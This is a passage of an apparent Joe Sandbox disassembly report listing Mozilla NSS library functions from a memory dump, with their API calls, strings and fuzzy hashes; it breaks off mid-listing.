free.MOZGLUE(?,?,6C62AAD4,?,?,?,?,?,?,?,?,00000000,?,6C6280C1), ref: 6C625D0F
free.MOZGLUE(?,?,?,6C62AAD4,?,?,?,?,?,?,?,?,00000000,?,6C6280C1), ref: 6C625D4E
free.MOZGLUE(?,?,?,6C62AAD4,?,?,?,?,?,?,?,?,00000000,?,6C6280C1), ref: 6C625D62
free.MOZGLUE(?,?,?,?,6C62AAD4,?,?,?,?,?,?,?,?,00000000,?,6C6280C1), ref: 6C625D85
free.MOZGLUE(?,?,?,?,6C62AAD4,?,?,?,?,?,?,?,?,00000000,?,6C6280C1), ref: 6C625D99
free.MOZGLUE(?,?,?,?,6C62AAD4,?,?,?,?,?,?,?,?,00000000,?,6C6280C1), ref: 6C625DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6C62AAD4,?,?,?,?,?,?,?,?,00000000,?,6C6280C1), ref: 6C625E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6C62AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C625E3E
free.MOZGLUE(?,?,?,?,?,?,6C62AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C625E47
free.MOZGLUE(?,?,?,?,6C62AAD4,?,?,?,?,?,?,?,?,00000000,?,6C6280C1), ref: 6C625E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6C62AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C625E78
free.MOZGLUE(?,?,?,?,?,?,?,6C62AAD4), ref: 6C625EB9
free.MOZGLUE(?,?,?,?,?,?,?,6C62AAD4), ref: 6C625EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C62AAD4), ref: 6C625F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C62AAD4), ref: 6C625F4B

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: 9a94243df280a015028666f4a46b5e4966fbf62179b94d62433d946dd5e1f6ec
Instruction ID: 05c9a48e7ff0ef0d0fc1a4755ac63c94d0cc2aba09709a05c0525fd7a30b1e4b
Opcode Fuzzy Hash: 9a94243df280a015028666f4a46b5e4966fbf62179b94d62433d946dd5e1f6ec
Instruction Fuzzy Hash: EF7190B5A04B019FD710CF24D884A92B7F5FF89308F148929E86E87B11E732F955CB99

Function 6C5A8DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C5A8E22
EnterCriticalSection.KERNEL32(?), ref: 6C5A8E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C5A8E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C5A8E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C5A8E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5A8EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C5A8EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C5A8EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C5A8F00
free.MOZGLUE(?), ref: 6C5A8F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C5A8F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C5A8F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C5A8F5B
PR_Unlock.NSS3(?), ref: 6C5A8F72
PR_Unlock.NSS3(?), ref: 6C5A8F82

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 64cb5a773b3d86ede6fae2a235f69099839765b9ab8b260c49319b172f0d1414
Instruction ID: db230bc9b977349b4778ac1d615df525ada5f3742096f97b1ffb169ad867cb30
Opcode Fuzzy Hash: 64cb5a773b3d86ede6fae2a235f69099839765b9ab8b260c49319b172f0d1414
Instruction Fuzzy Hash: 015118B2E00211AFD700DFA9DC8496EB7B9EF45358F14452AEC189B700E731ED5687E6

Function 6C5CCE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6C5CCE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C5CCEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6C5CCED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6C5CCEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6C5CCF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C5CCF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6C5CCF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6C5CCF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6C5CCF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6C5CCFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6C5CCFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6C5CCFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6C5CCFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6C5CD007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6C5CD021

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: 50cf12209e82c6137ff3677c488784c0386ba97d30658d017ca74f680b688994
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 9A312171B52D2127EF0D549A6D21BFE144A4BAA30EF44103CFD0AF67C1F6C59A1702AB

Function 6C6A0FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C6A1000

Part of subcall function 6C659BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C581A48), ref: 6C659BB3
Part of subcall function 6C659BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C581A48), ref: 6C659BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C6A1016

Part of subcall function 6C63C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C63C2BF

PR_Unlock.NSS3(?), ref: 6C6A1021

Part of subcall function 6C63DD70: TlsGetValue.KERNEL32 ref: 6C63DD8C
Part of subcall function 6C63DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C63DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C6A1046
PR_Unlock.NSS3(?), ref: 6C6A106B
PR_Lock.NSS3 ref: 6C6A1079
PR_Unlock.NSS3 ref: 6C6A1096
free.MOZGLUE(?), ref: 6C6A10A7
free.MOZGLUE(?), ref: 6C6A10B4
PR_DestroyCondVar.NSS3(?), ref: 6C6A10BF
PR_DestroyCondVar.NSS3(?), ref: 6C6A10CA
PR_DestroyCondVar.NSS3(?), ref: 6C6A10D5
PR_DestroyCondVar.NSS3(?), ref: 6C6A10E0
PR_DestroyLock.NSS3(?), ref: 6C6A10EB
free.MOZGLUE(?), ref: 6C6A1105

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 9fc4c85332e70dad231dab34b5d1f56410c87335bc26d951594a172d26d3f366
Instruction ID: bdc994cec6b9d5460c4a204538be2ef7636c67044419306d2bc349950e559d7a
Opcode Fuzzy Hash: 9fc4c85332e70dad231dab34b5d1f56410c87335bc26d951594a172d26d3f366
Instruction Fuzzy Hash: 4A3187B9901411ABD7029F56EC81A45BB72BF42358B184225E80902F61EB32FC79DBCA

Function 6C51DC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C51DD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6C51DD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C51DE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6C51DEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C51DECD

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C51DF6D, 6C51DFCC, 6C51DFDD
%s at line %d of [%.10s], xrefs: 6C51DF7C, 6C51DFEC
database corruption, xrefs: 6C51DF77, 6C51DFE7

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: e8ef45703648478b6e628dad364ed5f4de89d323ccb6692581f71930e5cbb1b3
Instruction ID: e6436219c575c132b1f9ba2a030deb39251aea8c121e1a30bf432b4bb7bc208a
Opcode Fuzzy Hash: e8ef45703648478b6e628dad364ed5f4de89d323ccb6692581f71930e5cbb1b3
Instruction Fuzzy Hash: 15A1E4716082119BE712CF29CC84A6BB7F5AF85308F15892DF8898BF41E734E955CB92

Function 6C5DEDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C5DEE0B

Part of subcall function 6C5F0BE0: malloc.MOZGLUE(6C5E8D2D,?,00000000,?), ref: 6C5F0BF8
Part of subcall function 6C5F0BE0: TlsGetValue.KERNEL32(6C5E8D2D,?,00000000,?), ref: 6C5F0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5DEEE1

Part of subcall function 6C5D1D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C5D1D7E
Part of subcall function 6C5D1D50: EnterCriticalSection.KERNEL32(?), ref: 6C5D1D8E
Part of subcall function 6C5D1D50: PR_Unlock.NSS3(?), ref: 6C5D1DD3

TlsGetValue.KERNEL32 ref: 6C5DEE51
EnterCriticalSection.KERNEL32(?), ref: 6C5DEE65
PR_Unlock.NSS3(?), ref: 6C5DEEA2
free.MOZGLUE(?), ref: 6C5DEEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C5DEED0
PR_Unlock.NSS3(?), ref: 6C5DEF48
free.MOZGLUE(?), ref: 6C5DEF68
PR_SetError.NSS3(00000000,00000000), ref: 6C5DEF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C5DEFA4
free.MOZGLUE(?), ref: 6C5DEFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C5DF055
free.MOZGLUE(?), ref: 6C5DF060

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 308a4989ee540f7e455109181f0e04fc4523e1dbd2f105c30e98e7cb0593d8d4
Instruction ID: 156de19803fd08a1b73589242ace68d66427617a1d968b1bb347419ccca96fb3
Opcode Fuzzy Hash: 308a4989ee540f7e455109181f0e04fc4523e1dbd2f105c30e98e7cb0593d8d4
Instruction Fuzzy Hash: FB81A375A00215ABDF00DFA9DC85BDEBBB5FF49318F050024E909A3711E771E964CBA9

Function 6C5A4CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C5A4D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C5A4D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C5A4DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5A4E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C5A4E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C5A4E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C5A4E85
DER_Encode_Util.NSS3(?,?,6C6F05A4,00000000), ref: 6C5A4EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C5A4F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C5A4F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C5A4F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C5A4F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5A4F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C5A4FC8

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 34ac4cb58f16d011167c5e908a2cb8be0e10537d767f9263f81375f3a56d72e9
Instruction ID: 5306fed71284620f06fbfdd24b7e54e7f7c45d806ed60be136ad4f8a5428fb35
Opcode Fuzzy Hash: 34ac4cb58f16d011167c5e908a2cb8be0e10537d767f9263f81375f3a56d72e9
Instruction Fuzzy Hash: A7818271504301AFE701CFA6DC80B5FB7E4AB88358F149929F959DB741EB31E906CB92

Function 6C5E5C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6C5E5C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6C5E5CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6C5E5CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6C5E5D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6C5E5D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5E5D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C5E5E18
TlsGetValue.KERNEL32 ref: 6C5E5E5E
EnterCriticalSection.KERNEL32(?), ref: 6C5E5E72
PR_Unlock.NSS3(?), ref: 6C5E5E8B

Part of subcall function 6C5DF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C5DF854
Part of subcall function 6C5DF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C5DF868
Part of subcall function 6C5DF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C5DF882
Part of subcall function 6C5DF820: free.MOZGLUE(04C483FF,?,?), ref: 6C5DF889
Part of subcall function 6C5DF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C5DF8A4
Part of subcall function 6C5DF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C5DF8AB
Part of subcall function 6C5DF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C5DF8C9
Part of subcall function 6C5DF820: free.MOZGLUE(280F10EC,?,?), ref: 6C5DF8D0

Strings

tokens=[0x%x=<%s>], xrefs: 6C5E5D3D
d, xrefs: 6C5E5C36

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 929813fbec39a0221198fce081f3976a46501e0937d872868235f92cd1af97b3
Instruction ID: ab96cc5b2f8ce2b1d0f54e14b1f06389eb767417944cba0bd354f784c154d573
Opcode Fuzzy Hash: 929813fbec39a0221198fce081f3976a46501e0937d872868235f92cd1af97b3
Instruction Fuzzy Hash: C97108F0E042009BEB019F29ED8576E3375AF9930CF940475EC099AB42EB32ED15CB92

Function 6C5D8F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C5D9582), ref: 6C5D8F5B

Part of subcall function 6C5EBE30: SECOID_FindOID_Util.NSS3(6C5A311B,00000000,?,6C5A311B,?), ref: 6C5EBE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C5D8F6A

Part of subcall function 6C5F0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5987ED,00000800,6C58EF74,00000000), ref: 6C5F1000
Part of subcall function 6C5F0FF0: PR_NewLock.NSS3(?,00000800,6C58EF74,00000000), ref: 6C5F1016
Part of subcall function 6C5F0FF0: PL_InitArenaPool.NSS3(00000000,security,6C5987ED,00000008,?,00000800,6C58EF74,00000000), ref: 6C5F102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C5D8FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C5D8FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C6BD820,6C5D9576), ref: 6C5D8FF9
DER_GetInteger_Util.NSS3(?), ref: 6C5D901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C5D903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C5D9062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C5D90A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C5D90CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C5D90F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C5D912D
free.MOZGLUE(00000000), ref: 6C5D9136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C5D9145

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 487bcbbfc9f8e5dc38516f26e19cd0c900ae566adecf3d25405199cf2f56c13d
Instruction ID: 5080eb0232da66a22a97be7bbcacc89395682eb8bf3a863d566d62dcb7efd107
Opcode Fuzzy Hash: 487bcbbfc9f8e5dc38516f26e19cd0c900ae566adecf3d25405199cf2f56c13d
Instruction Fuzzy Hash: 4551B3B1A043019BE700CF68DC81B9BB7E8AF84318F064529E959D7741EB31E955CBDB

Function 6C5CADC0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6C5CADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5CAE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5CAE29

Part of subcall function 6C6AD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6AD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5CAE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C5CAE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5CAE8A
PR_LogPrint.NSS3(?,00000000), ref: 6C5CAEA0

Strings

hSession = 0x%x, xrefs: 6C5CAE01, 6C5CAE11
C_MessageSignInit, xrefs: 6C5CADE1
hKey = 0x%x, xrefs: 6C5CAE62, 6C5CAE72
(CK_INVALID_HANDLE), xrefs: 6C5CAE1F, 6C5CAE80
njl, xrefs: 6C5CAEB8, 6C5CAEE6

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit$njl
API String ID: 332880674-1384881589
Opcode ID: 9cf3ebc563f83356df5aff63b0f54fd368c32654592ae6c82f0716e8718814d8
Instruction ID: f65a6268c68c166875b8fc04a101330b59f12347f2f1f99ff444a71425aed23c
Opcode Fuzzy Hash: 9cf3ebc563f83356df5aff63b0f54fd368c32654592ae6c82f0716e8718814d8
Instruction Fuzzy Hash: 1431D576701154EBCB00DF95ECC8BAA3BB6AB86309F444429E5196B611DB309C19CF9F

Function 6C5C9EE0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6C5C9F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5C9F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5C9F49

Part of subcall function 6C6AD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6AD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5C9F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C5C9F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5C9FAA
PR_LogPrint.NSS3(?,00000000), ref: 6C5C9FC0

Strings

hSession = 0x%x, xrefs: 6C5C9F21, 6C5C9F31
hKey = 0x%x, xrefs: 6C5C9F82, 6C5C9F92
(CK_INVALID_HANDLE), xrefs: 6C5C9F3F, 6C5C9FA0
njl, xrefs: 6C5C9FD8, 6C5CA006
C_MessageEncryptInit, xrefs: 6C5C9F01

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
